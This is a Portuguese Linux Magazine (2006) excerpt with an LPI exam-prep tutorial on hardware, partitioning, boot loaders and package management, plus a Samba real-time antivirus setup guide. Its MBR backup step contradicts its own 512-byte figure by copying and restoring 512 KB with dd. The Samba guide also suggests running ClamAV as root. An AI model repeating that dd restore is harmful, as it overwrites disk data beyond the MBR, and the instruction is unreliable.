➧ O ID do dispositivo: a cada dispo-sitivo é atribuído um número ID único alterável através de jumpers. A faixa de IDs vai de 0 a 7 em con-troladores de 8 bits, e de 0 a 15 em controladores de 16 bits. O ID do controlador costuma ser 7.

➧ O número lógico da unidade (LUN): é usado para determinar diferentes dispositivos dentro de um mesmo alvo SCSI. Pode in-dicar uma partição em um disco ou um dispositivo de fita especí-fico em um dispositivo multi-fita. Hoje não é muito utilizado, pois adaptadores SCSI estão mais ba-ratos e podem comportar mais alvos por barramento.Todos os dispositivos SCSI encon-

trados são listados em /proc/scsi/scsi. O comando scsi_info usa as informa-ções desse arquivo para mostrar o SCSI_ID e o modelo do dispositivo solicitado.

Por padrão, o dispositivo SCSI de inicialização é o de ID 0, o que pode ser alterado no BIOS SCSI. Se existirem tanto dispositivos SCSI quanto IDE, a ordem da inicializa-ção precisa ser especificada no BIOS da máquina.

Recursos padrão utilizados por dispositivos comuns:

Dispositivo Porta I/O IRQ

/dev/ttyS0 (porta serial 0) 0x03f8 4

/dev/ttyS1 (porta serial 1) 0x02f8 3

/dev/ttyS2 (porta serial 2) 0x03e8 4

/dev/ttyS3 (porta serial 3) 0x02e8 3

/dev/lp0 (porta paralela 0) 0x378 7

/dev/lp1 (porta paralela 1) 0x278 5

Placa de Som 0x220 N/A

http://supertuxbr.blogspot.com

Page 57: 26 - Web 2.0_dez_2006

Linux Magazine #26 | Dezembro de 2006

Objetivo 1.101.5: Configuração de Placas de Expansão diversas

A configuração de placas de expansão diversas engloba os aspectos abordados nos objetivos anteriores, além de um co-nhecimento mais sólido sobre coldplug, hotplug e inspeção de hardware.

Em linhas gerais, coldplug significa a necessidade de desligar a máquina para conectar um dispositivo. Exemplos de dispositivos coldplug são placas PCI, ISA e dispositivos IDE. Na maioria dos computadores, CPU e pentes de memória são coldplug. Porém, alguns servidores de alta performance suportam hotplug para esses componentes.

Hotplug é o sistema que permite co-nectar novos dispositivos à máquina em funcionamento e usá-los imediatamen-te, como no caso de dispositivos USB. O sistema Hotplug foi incorporado ao núcleo do modelo de driver do kernel 2.6; assim, qualquer barramento ou classe pode disparar eventos hotplug quando um dispositivo é conectado ou desconectado. Assim que um disposi-tivo é conectado ou desconectado, o hotplug dispara um evento correspon-dente, geralmente trabalhando junto do subsistema Udev, que atualiza os arquivos de dispositivos em /dev.

Mesmo alguns dispositivos cold-plug são configurados pelo sistema hotplug. Na hora da inicialização, o script /etc/init.d/hotplug (ou /etc/rc.d/rc.hotplug no Slackware) dispara os agentes em /etc/hotplug/ para configurar aqueles dispositivos que já estavam presentes antes de a máquina ser ligada.

Objetivo 1.101.6: Configuração de Dispositivos de Comunicação

ISDN e DSLHá várias maneiras de se usar ISDN no GNU/Linux. A mais simples é empregar um dispositivo ISDN externo que disca, autentica e abre a sessão sozinho, dis-ponibilizando a conexão pela interface ethernet. Se o computador estiver ligado diretamente à conexão ISDN, é neces-sário um dispositivo chamado Terminal Adapter (TA).

Em TAs conectados à porta serial e em alguns dispositivos USB, aparecerá uma interface de comandos AT exatamente como se o TA fosse um modem. É sim-ples, no entanto pouco prático.

Uma maneira mais eficiente de usar uma linha ISDN é usar um adaptador (PCI, ISA, PCCARD) conectado dire-tamente ao barramento da máquina. O utilitário isdn4linux incorpora soluções para muitos dos percalços da configuração de uma conexão ISDN e a estabelece como se fosse uma conexão feita por uma interface de rede convencional.

Também para conexões DSL, o mais simples é que um dispositivo externo estabeleça a conexão e aja como um roteador para a máquina. Se você possui um modem DSL e seu provedor usa PPPoE (Point to Point Protocol over Ethernet) você precisará de um cliente PPPoE. Nesse caso, o pacote necessário para a conexão DSL chama-se pppoe ou rp-pppoe.

Objetivo 1.101.7: Configuração de Dispositivos USB

Dispositivos para interface USB (Universal Serial Bus) são divididos em classes:➧ Display Devices➧ Communication Devices➧ Audio Devices➧ Mass Storage Devices➧ Human Interface Devices (HID)

A porta USB é operada por um con-trolador (Host Controller):➧ OHCI (Compaq)➧ UHCI (Intel)➧ EHCI (USB v2.0)

Uma vez conectados, os dispositivos USB podem ser inspecionados com o comando lsusb. As informações de-talhadas sobre os dispositivos USB co-nectados são armazenadas no arquivo /proc/bus/usb/devices.

O controle dos dispositivos USB é feito pelo hotplug. Veja as etapas executadas quando uma câmera USB é conectada ao computador:➧ Os módulos USB do kernel identi-

ficam o evento USB e a ID vendor:product;

➧ Esses dados são passados para /sbin/hotplug (ou outro, se o indicado em /proc/sys/kernel/hotplug não for o padrão);

➧ O agente USB respectivo (/etc/ho-tplug/usb.agent) associa o dispo-sitivo ao produto correspondente. A relação entre dispositivo e módulo consta no arquivo /etc/hotplug/usb.distmap.O mapa USB adequado precisa estar

disponível para iniciar corretamente o dispositivo. ➧

http://supertuxbr.blogspot.com

Page 58: 26 - Web 2.0_dez_2006

58 http://www.linuxmagazine.com.br

TUTORIAL | Preparação LPI

Tópico 102: Instalação do GNU/Linux e Administração de Pacotes

Objetivo 1.102.1: Criação de Esquemas de Partições de Disco

A raiz da árvore de diretórios é representa-da por uma barra (/). É necessariamente o primeiro diretório a ter seu dispositi-vo anexado. Depois de montada a raiz, os diretórios contidos nesse dispositivo poderão ser pontos de montagem para outros dispositivos.

Processo de montagem:➧ O carregador de inicialização carrega

o kernel e transmite as informações sobre a localização do dispositivo raiz;

➧ Os demais dispositivos são montados conforme as instruções encontradas em /etc/fstab.Duas partições são o mínimo exigido

em sistemas GNU/Linux; uma será a raiz, enquanto a outra será a partição de swap. Pode ser necessária uma terceira parti-ção pequena, no início do disco, apenas para armazenar o kernel e o carregador de inicialização secundário. Fora essas, não há regras inflexíveis quanto à cria-ção de partições, devendo ser avaliado o melhor esquema para a função que o sistema desempenhará.

A partição raiz deve ser do tipo Li-nux Native, cujo código hexadecimal é 83 (representado por 0x83). Tudo no sis-tema poderá ficar alojado diretamente no dispositivo raiz. Em certos casos, é interessante criar uma partição distinta para certos diretórios, principalmente em servidores que sejam muito exigidos.

Sugestões de diretórios que podem se alojar em outros dispositivos/partições:➧ /var: esse diretório contém as filas

de email e impressão, que são muito manipuladas. Ele abriga também os arquivos de registro, cujo con-teúdo está em constante alteração e crescimento.

➧ /usr: programas, códigos-fonte e do-cumentação. O ciclo de alteração desses arquivos é longo.

➧ /tmp: espaço temporário utilizado por programas. Uma partição distinta para /tmp impedirá que dados temporários ocupem todo o espaço no diretório raiz, causando travamento do sistema. Não necessita de backup.

➧ /home: contém os diretórios pessoais dos usuários. Uma partição distinta ajuda a limitar o espaço disponível para usuários comuns.

➧ /boot: ponto de montagem para a partição do kernel e do carregador de inicialização. A separação desse dire-tório em relação ao resto do sistema é necessária apenas nos casos em que o sistema exija que o kernel esteja antes do cilindro 1024 do disco rígido.

A partição swapUma partição swap é identificada pelo código 82 (0x82), atribuído quando da sua criação. Geralmente, a partição swap é do mesmo tamanho que a quantidade de memória RAM presente no sistema. É possível haver mais de uma partição de swap.

É preferível criar partições de swap nos dispositivos mais velozes; se possível, em dispositivos distintos daqueles cujos dados sejam freqüentemente acessados pelo sistema.

Também é possível criar grandes arquivos como área de swap, o que é geralmente feito em situações emergen-ciais, quando o sistema ameaça ficar sem memória disponível.

Objetivo 1.101.2: O Gerenciador de Inicialização

A MBR (Master Boot Record, ou Registro Mestre de Inicialização) ocupa o primeiro setor do disco (512 bytes). Esse primeiro setor contém a tabela de partições e o carregador de inicialização. Terminados os proce-dimentos do BIOS, o carregador de inicialização é disparado, por sua vez procurando na tabela de parti-ções uma partição ativa, e carrega o primeiro setor dessa partição.

LiloO Lilo (Linux Loader) é dividido em três componentes:➧ lilo: o carregador propriamente dito. É

instalado na MBR e chama o segundo estágio do carregador de inicialização, geralmente localizado em /boot/boot.b.

➧ /etc/lilo.conf: arquivo de configu-ração do lilo.

➧ /sbin/lilo: o utilitário que lê as con-figurações em /etc/lilo.conf e instala o carregador de inicialização.Deve ser executado toda vez que uma

alteração for feita ao arquivo de confi-guração.Principais opções do arquivo /etc/lilo.conf:

➧ boot: onde o lilo deve ser ins-talado. Geralmente na MBR de /dev/hda.

➧ prompt: oferece ao usuário a escolha do SO a iniciar.

➧ image ou other: arquivo do kernel ou dispositivo a ser carregado (usar other para outros sistemas).

➧ label: rótulo para a imagem de kernel.

➧ root: localização do dispositivo con-tendo o sistema de arquivos raiz.

➧ read-only: monta a raiz em modo somente leitura, para que o fsck aja apropriadamente.

➧ append: parâmetros adicionais a se-rem passados para o kernel.

➧ message: especifica um arquivo con-tendo uma mensagem a ser mostrada no painel de inicialização do lilo.

➧ delay: tempo de espera para que o usuário invoque o prompt, caso este não seja invocado automa-ticamente.

➧ vga: valor numérico especificando as preferências visuais do terminal.Exemplo de /etc/lilo.conf:

boot = /dev/hdamessage = /boot/boot_message.txtdelay = 4timeout = 110vga = 788image = /boot/vmlinuz root = /dev/hda3 label = Linux read-only

GRUBO GRUB (Grand Unified Bootloader) é uma alternativa ao Lilo. Também é instalado na MBR, através dos comandos /sbin/grub ou /sbin/grub-install, que obtém as ins-truções a partir do arquivo /boot/grub/menu.lst.

Principais opções globais de /boot/grub/menu.lst:➧ default: imagem padrão a ser usada

para a inicialização (começando por 0).

➧ timeout: tempo de espera para ini-ciar o boot, em segundos.Opções individuais para cada sistema:

➧ title: nome para o item.➧ root: localização do carregador de

segundo estágio e do kernel (hd0,0 equivale a /dev/hda).

➧ kernel: caminho para o kernel (re-lativo à opção root).

➧ ro: montar inicialmente em modo somente leitura.

➧ initrd: caminho para a imagem initrd.

http://supertuxbr.blogspot.com

Page 59: 26 - Web 2.0_dez_2006

59

| TUTORIALPreparação LPI

Linux Magazine #26 | Dezembro de 2006

Diferentemente do Lilo, o comando grub-install não precisa ser executado toda vez que forem feitas alterações ao arquivo /boot/grub/menu.lst. Uma vez instalado, o carregador de inicialização do GRUB lê o arquivo /boot/grub/menu.lst diretamente.

Dispositivos de inicialização alternativosUm disquete de inicialização será im-portante caso a MBR do disco tenha sido alterada e o sistema esteja inacessí-vel. Mesmo com a maioria dos kernels atuais não mais cabendo num disquete, ainda é possível criar um disquete de inicialização com o Lilo ou com outras ferramentas, como o Syslinux.

A maioria das distribuições GNU/Linux fornece CDs ou DVDs de ini-cialização para instalação do sistema. Essas mídias podem ser usadas para acessar e inicializar um sistema já ins-talado e que possa estar inacessível por alguma eventual falha do carregador de inicialização.

Para fazer um backup da MBR, basta copiar os primeiros 512 KB do disco, o que pode ser feito com o comando dd:

# dd if=/dev/hda of=mbr.backup bs=1k ➥ count=512

Esse backup pode ser guardado e de-pois restaurado para a MBR:

# dd if=mbr.backup of=/dev/hda

Objetivo 1.102.3: Compilar e Instalar Programas a partir do código-fonte

Compressão e descompressão de arquivos

A maioria dos programas distribuídos como código-fonte apresentam-se na forma de arquivos tar comprimidos. Arquivos tar são vários arquivos aglutinados em um só, o que facilita sua distribuição.

Os comandos zcat e bzcat descomprimem para a saída padrão, ou seja, jogam o conteúdo descomprimido na tela do terminal.

Essas ferramentas de compressão são incapazes de aglutinar arquivos, por isso são utilizadas em conjunto com o comando tar. Para facilitar esse proce-dimento, tanto a compressão quanto a descompressão podem ser efetuadas diretamente pelo comando tar, através dos argumentos:➧ Z: Compress➧ z: gzip➧ j: bzip2

Para arquivar o conteúdo de um dire-tório com compressão bzip2, o seguinte comando pode ser utilizado:

$ tar cjf nome_do_arquivo.tar.bz2 ./➥ nome_do_diretório/

Compilar e instalar programasO primeiro passo para instalar um pro-grama distribuído como código-fonte no formato tar é extraí-lo:

$ tar xjvf sylpheed-2.0.4.tar.bz2

Esse comando criará o diretório ./sylpheed-2.0.4/, contendo o código-fonte do programa e as ferramentas de confi-guração.

A configuração é feita dentro desse diretório, por um script chamado confi-gure. O script coleta informações sobre a arquitetura do sistema, caminhos de comandos, bibliotecas compartilhadas, características de funcionamento do pro-grama etc. Em geral, o configure pode ser invocado sem argumentos, simplesmente executando-se ./configure.

Uma opção bastante utilizada é --pre-fix, que informa qual diretório o programa deverá usar como base para a instalação. Por exemplo:

$ ./configure --prefix=/opt

Esse comando informa que o progra-ma deve ser instalado em /opt.

A lista descritiva completa das opções pode ser vista executando-se o comando ./configure --help.

As informações coletadas pelo script configure são armazenadas em um arquivo no mesmo diretório, chamado Makefile. Esse arquivo pode ser editado para se

alterar as opções de instalação, como a variável prefix, que desempenha a mesma função do argumento --prefix do script configure, e outras variáveis que indicam a localização de bibliotecas, comandos, características do programa etc.

Terminada a configuração, o programa pode ser compilado através do comando make. Esse comando cria as bibliotecas e arquivos executáveis conforme as instru-ções e opções especificadas em Makefile. Após o término da compilação, o programa estará pronto para ser instalado através do comando make install.

Se o diretório-base da instalação não estiver no diretório pessoal do usuário, esse comando deverá ser executado com privilégios de superusuário (root).

Objetivo 1.102.4: Bibliotecas Compartilhadas

Funções comuns e compartilhadas por diferentes programas são armazenadas em bibliotecas. Durante a compilação de um programa, essas bibliotecas específicas são ligadas ao programa que as usará.

A ligação pode ser estática ou dinâmi-ca, ou seja, as funções de uma biblioteca poderão estar embutidas no programa compilado ou apenas mapeadas para a biblioteca externa. Programas estáticos não dependem de arquivos externos, porém são maiores que programas di-nâmicos.

O programa incumbido de carregar a biblioteca e ligá-la ao programa que dela depende é o ld.so. Para que o ld.so possa localizar a biblioteca da qual um progra-ma depende, esta deverá estar mapeada em /etc/ld.so.cache. As localidades pa-drão de bibliotecas de sistema são /lib e /usr/lib. Diretórios contendo bibliotecas adicionais devem ser incluídos no arquivo /etc/ld.so.conf.

A execução do comando ldconfig é fundamental para que as alterações em /etc/ld.so.conf atualizem o /etc/ld.so.cache e repercutam no funcionamento do ld.so.

Outra maneira de deixar uma locali-dade de biblioteca ao alcance do ld.so

Tipos de compactação

Compressão Descompressão Descompressão “cat” Extensão

compress uncompress zcat .Z

gzip gunzip zcat .gz

bzip2 bunzip2 bzcat .bz2

http://supertuxbr.blogspot.com

Page 60: 26 - Web 2.0_dez_2006

60 http://www.linuxmagazine.com.br

TUTORIAL | Preparação LPI

é adicionar seu respectivo caminho à variável de ambiente LD_LIBRARY_PATH, com o comando export LD_LIBRARY_PATH=caminho_da_biblioteca. Esse método, porém, garante apenas o acesso tempo-rário do ld.so ao diretório em questão. Não funcionará fora do escopo da va-riável de ambiente e quando a variável deixar de existir, mas é um método útil para usuários sem permissão atualizarem o /etc/ld.so.cache ou para a execução pontual de programas.

Objetivo 1.102.5: Administração de Pacotes Debian (.deb)

As principais ferramentas de administra-ção de pacotes .deb são:➧ dselect: ferramenta de gerenciamento

de pacotes orientada a menus.➧ dpkg: comando para instalação de pa-

cotes individuais.➧ apt-get: busca um pacote em reposi-

tórios e o instala.O dselect é, na realidade, apenas uma

interface de operação para o dpkg e o apt-get. Sua operação depende, portanto, dos outros dois comandos.

O grande trunfo de se utilizar um sistema de pacotes como esse é a pos-sibilidade de se resolver dependências, ou seja, se o pacote a ser instalado necessitar de outros programas ou bibliotecas ausentes no sistema, as mesmas poderão ser automaticamente baixadas e instaladas.

Para usufruir da resolução automática de dependências, é necessário discriminar corretamente a origem dos pacotes, origem essa que deve ser apropriada para a sua dis-tribuição. Essas origens são determinadas pelo arquivo /etc/apt/sources.list.

Cada linha do arquivo /etc/apt/sour-ces.list determina um repositório. Por exemplo, a linha deb http://br.archive.ubuntu.com/ubuntu/ edgy universe espe-cifica o repositório deb da distribuição Ubuntu, em um servidor no Brasil. As duas últimas palavras, edgy e universe es-pecificam, respectivamente, a versão da

distribuição e a seção de pacotes dentro do repositório.

Cada distribuição possui repositórios próprios, oficiais e não oficiais. Depois de alterar o arquivo /etc/apt/sources.list, é necessário executar o comando apt-get update para que os índices de pacotes e dependências disponibilizados por cada repositório sejam baixados e atualizados localmente.

Administrando pacotesPara procurar programas, pode ser utilizado o comando apt-cache search nome_do_programa. Se nenhum resultado aparecer, é possível que os índices não tenham sido atualizados com apt-get update, ou que o programa procurado não exista nos repositórios indicados em /etc/apt/sources.list.

A instalação pode ser feita com apt-get install nome_do_programa. Caso haja dependências pendentes, o administrador será consultado em relação à instalação desses programas.

Além da cópia de arquivos, mui-tas vezes a instalação de um pacote também apresentará um assistente de configuração do mesmo. Caso seja ne-cessário reconfigurar o pacote, deve ser invocado o comando dpkg-reconfigure nome_do_pacote.

A remoção de programas é feita pelo próprio apt-get. O comando apt-get remove nome_do_pacote desinstala o pa-cote. Para remover o pacote e também os arquivos de configuração relacio-nados, é utilizado o comando apt-get remove --purge nome_do_pacote.

Além desses comandos básicos, ou-tros podem ser úteis na administração de pacotes:➧ dpkg -S nome_do_arquivo: procura qual

pacote instalou o arquivo especifica-do.

➧ dpkg -L nome_do_pacote: lista os ar-quivos instalados pelo pacote espe-cificado.

➧ apt-cache show nome_do_pacote: mostra a descrição e os detalhes do pacote especificado.

Além das opções de linha de co-mando, o comportamento dos co-mandos pode ser personalizado atra-vés dos arquivos /etc/dpkg/dpkg.cfg e /etc/apt/apt.conf. Informações sobre o estado e andamento da instalação de pacotes podem ser encontradas em /var/lib/dpkg/.

Quase todas as funções do apt-get podem ser desempenhadas pelo dpkg. É importante consultar as páginas de manual de ambos para conhecer pelo menos as opções básicas de instalação, remoção e inspeção de pacotes.

Mesmo que não haja pacotes ade-quados para a distribuição utilizada, existe a possibilidade de se converter o pacote para o formato desejado, com o programa alien. Apesar de essa não ser a melhor opção, ela pode servir como solução provisória até que o programa desejado esteja disponível no formato nativo da distribuição.

Objetivo 1.102.6: Administração de Pacotes Red Hat (.rpm)

O principal comando de administra-ção de pacotes rpm é o rpm. Algumas abreviações de opções são parecidas, porém realizam diferentes ações, de-pendendo de sua posição na linha de comando. A distinção é feita a partir da primeira opção da esquerda para a direita. O primeiro argumento pas-sado ao comando rpm é chamado ar-gumento modo maior. As demais são as opções de modo menor. Um pacote .rpm pode ser instalado simplesmen-te invocando-se o comando rpm -ivh nome_do_pacote.rpm.

Opções de modo maior para o rpm:➧ -i ou --install: instala o pacote.➧ -U ou --update: atualiza ou instala o

pacote.➧ -F ou --freshen: atualiza o pacote ape-

nas se o mesmo estiver instalado.➧ -V ou --verify: verifica o tamanho,

MDB, permissões, tipo, integridade etc.

Arquivos e diretórios pertinentes ao rpm

Caminho Descrição

/etc/rpmrc É o arquivo de configuração do rpm e do rpmbuild. Contém informações so-bre a arquitetura do sistema e os caminhos para macros e diretórios utilizados no ma-nejo de pacotes. Este arquivo é também encontrado em /usr/lib/rpm/.

/usr/lib/rpm/* Diretório contendo as macros necessárias para o manejo de pacotes.

/var/lib/rpm/ Diretório onde se situam as bases de dados do rpm.

http://supertuxbr.blogspot.com

Page 61: 26 - Web 2.0_dez_2006

| TUTORIALPreparação LPI

➧ -q ou --query: investiga pacotes e ar-quivos.

➧ -e ou --erase: desinstala o pacote.Opções de modo menor para o rpm:

➧ a: aplica uma variável em todos os pa-cotes instalados.

➧ c: com q, lista arquivos de configura-ção.

➧ d: com q, lista arquivos de documen-tação.

➧ f: com q, verifica qual pacote instalou o arquivo referido.

➧ h: mostra o progresso da instalação.➧ i: com q, lista informações sobre um

determinado pacote.➧ l: com q, lista todos os arquivos e dire-

tórios do pacote.➧ p: com q, indica que a investigação é

realizada no arquivo .rpm.➧ v: modo descritivo.

Outras opções:➧ --nodeps: instala o pacote sem checar

as dependências.➧ --force: força a instalação/atualiza-

ção.➧ --test: mostra como seria a instalação,

mas não instala.➧ --requires: com q, mostra as exigên-

cias para o pacote especificado.➧ --whatrequires: com q, mostra quais

programas dependem do pacote.

Mais Informações[1] Detalhes prova 101:

http://www.lpi.org/en/lpi/english/certification/the_lpic_program/exam_101_detailed_objectives

����������������������������

�����

Assinaturas de pacotesÉ possível verificar a assinatura de cada pacote distribuído como parte de um projeto. Se a distribuição for Fedora Core, por exemplo, as cha-ves são incorporadas ao banco de dados do rpm com o comando rpm --import /usr/share/rhn/RPM-GPG-KEY-FEDORA. Dessa forma, todo pacote copiado do servidor Fedora pode ser verificado com rpm --che-cksig nome_do_pacote.

A integridade do pacote pode ser verificada usando a opção -V. A opção -Va checa todos os pacotes. A análi-se é feita tendo como referência os arquivos originais do pacote.

Significado dos caracteres retornados pela verificação:➧ .: teste bem sucedido.➧ ?: o teste não pôde ser realizado.➧ S: o tamanho do arquivo mudou.➧ M: a permissão ou o tipo do arquivo

mudou.➧ 5: a soma MD5 do arquivo é diferen-

te.➧ D: o dispositivo foi modificado.➧ L: o link simbólico foi modificado.➧ U: o dono do arquivo mudou.➧ G: o grupo do arquivo mudou.➧ T: a data do arquivo mudou.

Considerações finais O mais importante no primeiro tópico é conhecer os conceitos mostrados em cada objetivo, como identificação e configuração básica de cada dispositivo. A prova contará com pelo menos quatro ou cinco perguntas sobre o tópico. Prepare-se para perguntas so-bre endereços de porta I/O padrão e LUNs SCSI, por exemplo. Saber como funciona a arquitetura USB dentro do Linux também é muito importante.

Para o segundo tópico, além de conhecer nomes e arquivos de configuração, serão per-guntados detalhes sobre cada um dos itens abordados. Serão feitas várias perguntas sobre os tipos de particionamento e sobre a instala-ção e remoção de programas. Pratique muito as diferentes maneiras de instalar e desinsta-lar programas, tanto a partir do código-fonte quanto por pacotes RPM e DEB.

No próximo mês veremos os tópicos 103 e 104. Até lá, pesquise as páginas ma-nual dos programas relacionados e leia os HOWTOs encontrados na Internet sobre o que vimos neste número. ■

http://supertuxbr.blogspot.com

Page 62: 26 - Web 2.0_dez_2006

62

SY

SA

DM

IN

http://www.linuxmagazine.com.br

Um servidor de arquivos Samba em uma rede heterogênea ge-ralmente armazena arquivos para

um outro sistema chamado Windows®, muito sujeito a ameaças virais. Apesar de muitos administradores saberem que é uma boa idéia varrer os arquivos em busca de pragas virtuais, a maioria das configurações que o fazem operam de forma periódica. Soluções antivírus em tempo real utilizam uma abordagem mais elegante, entrando em ação sempre que se efetua uma operação sobre um arquivo, de forma dinâmica.

Entretanto, a elegância técnica cobra o preço da complexidade técnica aumen-tada. Uma solução de tempo real deve associar o antivírus, o Samba, e o sistema de arquivos local. Este tutorial oferece um guia passo-a-passo para a varredura em tempo real com o ClamAV e o Avira Antivir Personal Edition Classic.

Nossa máquina de testes é um Pentium 4 D com 512 MB de memória, um disco PATA e o Mandriva Linux. A distribuição inclui a versão 3.0.20 do servidor Samba. Configuramos três compartilha-mentos: [publico] e dois outros que exigem autenticação. Fora isso, não alteramos o arquivo smb.conf (figura 1).

A forma mais fácil de integrar um antivírus em tempo real é através de um objeto VFS (Vir-tual File System, ou Sistema de Arquivos Virtual). Um sistema de arquivos virtual é um módulo de software que fornece novas fun-cionalidades, como a busca de vírus, em nosso caso. O objeto VFS implementa esse recurso como um módulo separado do Samba. Para isso, é necessário o Samba-Vscan. Sua distribuição

preferida provavelmente dispõe de um pacote para o Samba-Vscan em seus repo-sitórios. É necessário instalar o antivírus junto com o pacote. Nos testes, conse-

Integração de um antivírus em tempo real ao Samba

Proteção dançanteA verificação de vírus em tempo real no servidor é uma solução elegante e eficiente para a proteção de clientes Windows®. Conheça algumas ferramentas e técnicas para antivírus em tempo real com o Samba.por Florian Osses

Figura 1: Essa seção do arquivo smb.conf de nossa máquina de testes tem três compartilha-mentos configurados – um público e dois que exigem autenticação.

http://supertuxbr.blogspot.com

Page 63: 26 - Web 2.0_dez_2006

63

| SYSADMINSamba antivírus

Linux Magazine #26 | Dezembro de 2006

guimos avaliar tanto o ClamAV [1] e o Avira Antivir [2]. Talvez conseguíssemos atingir resultados semelhantes com o Symantec [3], Bitdefender para Samba [4] ou alguns outros pacotes.

Situação 1Depois de instalar o Samba-Vscan e o pacote Vscan-ClamAV [1], devemos prosseguir à configuração do antivírus. Para isso, devemos descomentar a se-gunda e a terceira linhas no arquivo de configuração /etc/clamav.conf ou /etc/clamd.conf:

LocalSocket /var/lib/clamav/clamd-socket# TCPSocket 331# TCPAddr 127.0.0.1

O daemon do ClamAV normalmente é executado sob uma conta sem privilé-gios, cujas permissões não permitem que o daemon grave em todos os diretórios compartilhados. É necessário conferir permissões mais robustas ao usuário do ClamAV – isso pode ser complicado – ou alterar o usuário usado pelo Cla-mAV para o root, modificando a linha do usuário no arquivo /etc/clamd.conf para User root.

Agora reinicie o ClamAV digitan-do /etc/init.d/clamav restart na maioria das distribuições; no Suse Li-nux, seria rcclamd restart. Se a sua rotina de configuração ainda não tiver feito isso, copie o arquivo vscan-cla-mav.conf de /usr/share/doc/clamav para /etc/samba. Agora altere a linha

seguinte no arquivo de configuração, deixando-a assim:

infected file action = nothing

Caso contrário, o antivírus ainda impedirá o acesso a arquivos suspeitos, deixando-os no mesmo lugar:

infected file action = quarantine

É possível especificar um caminho ade-quado para substituir o parâmetro quaran-tine directory = /tmp. O caminho para o socket do antivírus é importante: clamd socket name = /var/run/clamd. O Suse usa /var/lib/clamav/clamd-socket para isso. Se precisarmos de uma depuração mais sofisticada, podemos mudar:

verbose file logging = no

para yes. As outras opções podem ser pesquisadas com mais calma; o arquivo vem com comentários bastante úteis.

Agora configure o arquivo /etc/sam-ba/smb.conf de acordo com o antivírus. Para isso, crie o objeto VFS mostrado no exemplo 1. Agora só falta reiniciar o Samba com /etc/init.d/samba restart; no Suse, basta um rcsamba restart. Depois disso, tudo já está configurado, e podemos prosseguir com nossos testes.

Situação 2: Avira Antivir e Vscan AntivirSe decidirmos usar o Antivir Personal Edition Classic gratuito, da Avira, em vez

do ClamAV, os passos são semelhantes àque-les que acabamos de mostrar. Entretanto, o gerenciador de paco-tes de nossa máquina Mandriva não possuía os pacotes necessários, como é o caso de diversas outras distribuições. Para compilar o aplicativo a partir do código-fonte,

devemos baixar a versão atual de [2] e descompactar o arquivo com tar -xvzf antivir-workstation-pers.tar.gz. Em seguida, entre no diretório criado por esse comando e execute o script ./install (figura 2).

Vscan Antivir e Samba conversamDepois de completarmos todos os passos, vamos voltar ao Vscan Antivir [5], com o qual já temos intimidade, devido à solução com o ClamAV. Dessa vez, precisaremos dos fontes do Samba – obviamente, a versão dos fontes deve obrigatoriamente corresponder à versão instalada. No dire-tório com os fontes do Samba, primeiro executamos o script ./configure, e depois digitamos make proto.

Depois de copiarmos os fontes do Vs-can Antivir para Samba-Sources/exam-ples/VFS/, entramos nesse diretório e executamos ./configure && ./make para compilar, seguido de make install (figura 3), para instalar o objeto VFS cor-respondente ao antivírus. (É importante lembrar que, em vez de copiarmos os fontes do Vscan Antivir para o diretório com os fontes do Samba, poderíamos ter passado o parâmetro --with-sam-ba-source=caminho_do_samba para o script configure.) Feito isso, devemos copiar o arquivo vscan-antivir.conf

Exemplo 1: smb.conf para o ClamAV01 [compartilhamento1]02 comment = diretório Samba compartilhado03 vfs object = vscan-clamav04 vscan-clamav: config-file = /etc/samba/vscan-clamav.conf05 read only = No06 browseable = No07 path = /home/foobar08 valid users = foobari

Figura 2: Depois de baixarmos e configurarmos o Avira Antivir, um script instala o antivírus gratuito.

Figura 3: Adicionando os fontes do Antivir aos fontes do Samba, e depois prosseguindo à compilação conjunta dos dois.

http://supertuxbr.blogspot.com

Page 64: 26 - Web 2.0_dez_2006

64 http://www.linuxmagazine.com.br

SYSADMIN | Samba antivírus

do diretório dos fontes para /etc/samba/. Depois, modificamos o arquivo como na Situação 1, com o foco principal nas configurações de quarentena.

Devemos digitar o seguinte para cada compartilhamento no smb.conf:

vfs object = vscan-antivirvscan-antivir : config-file = /etc/samba/vscan-antivir.conf

Também é uma boa idéia enviarmos as últimas assinaturas de vírus para o An-tivir com o comando antivir-update. Antes de ativarmos o Avguard, devemos examinar o arquivo /etc/avguard.conf. Após encontrarmos as entradas que lis-tam os diretórios a serem acessados pelo Antivir, devemos desabilitar aquelas que o programa não tem direito de acessar. Caso contrário, seremos bombardeados com mensagens de negação de acesso. Para terminar, só precisamos iniciar o Samba:

/etc/init.d/samba restart

Como funcionaQuando um usuário em um cliente SMB abre um arquivo, o cliente envia uma requisição ao servidor Samba. O compartilhamento Samba é ligado a um objeto VFS – e portanto indireta-mente ligado também ao antivírus. O antivírus, que está rodando em modo especial de servidor, comunica-se em paralelo com os requisitos de acesso ao Samba (figura 4).

Antes de a operação normal de aber-tura do Samba alcançar o sistema de ar-quivos, o Antivir examina o arquivo. Se o resultado for positivo, ou seja, se o arqui-vo incluir código malicioso, o antivírus envia ao servidor Samba uma mensagem de acesso negado. O sistema cliente, por sua vez, manda a mensagem de acesso negado para seu usuário. ➧

Dependendo da configuração do anti-vírus, o arquivo é movido para o diretório de quarentena, ou então apagado; uma terceira opção é simplesmente ignorar o erro. Independente do que acontecer, o administrador do servidor será notificado, e a mensagem será registrada no Dmesg e nos registros do Samba.

Situação 3: Antivir com DazukoA Situação 2 sofre de uma desvantagem de desempenho decorrente de seu projeto: os componentes nos espaços do kernel e do usuário precisam conversar sobre cada operação sobre um arquivo – um processo que demanda bastante tempo. Porém, é possível executar o Avira Anti-vir sem o módulo do Vscan. O Dazuko é um módulo do kernel Linux licencia-do sob a licença GPL/BSD que oferece controle sobre o acesso a arquivos através de um dispositivo (/dev/dazuko), o qual fornece esse controle sob demanda. O que torna o módulo veloz é o fato de ele

obter as informações necessárias a partir do espaço do kernel.

Na Situação 3, é preciso mudar nossa configuração do Avguard e car-regar o módulo Dazuko, embora isso aconteça automaticamente quando o Avguard é iniciado. A menos que usemos o Suse Linux, nosso kernel provavelmente não possuirá suporte ao Dazuko. O código-fonte está dispo-nível em [6], e também precisaremos dos fontes do Linux.

O Dazuko espera que o kernel supor-te modos de segurança. Encontraremos as configurações necessárias, [M] para módulo, em Security Options | Enable different Security Models | Default Linux capabilities, na etapa make menuconfig. Os seguintes comandos compilam o mó-dulo do kernel no sistema:

make modulesmake modules_installdepmodmodprobe capability

Se você tiver instalado o Dazuko, executar ./install para o Antivir deve retornar os resultados esperados.

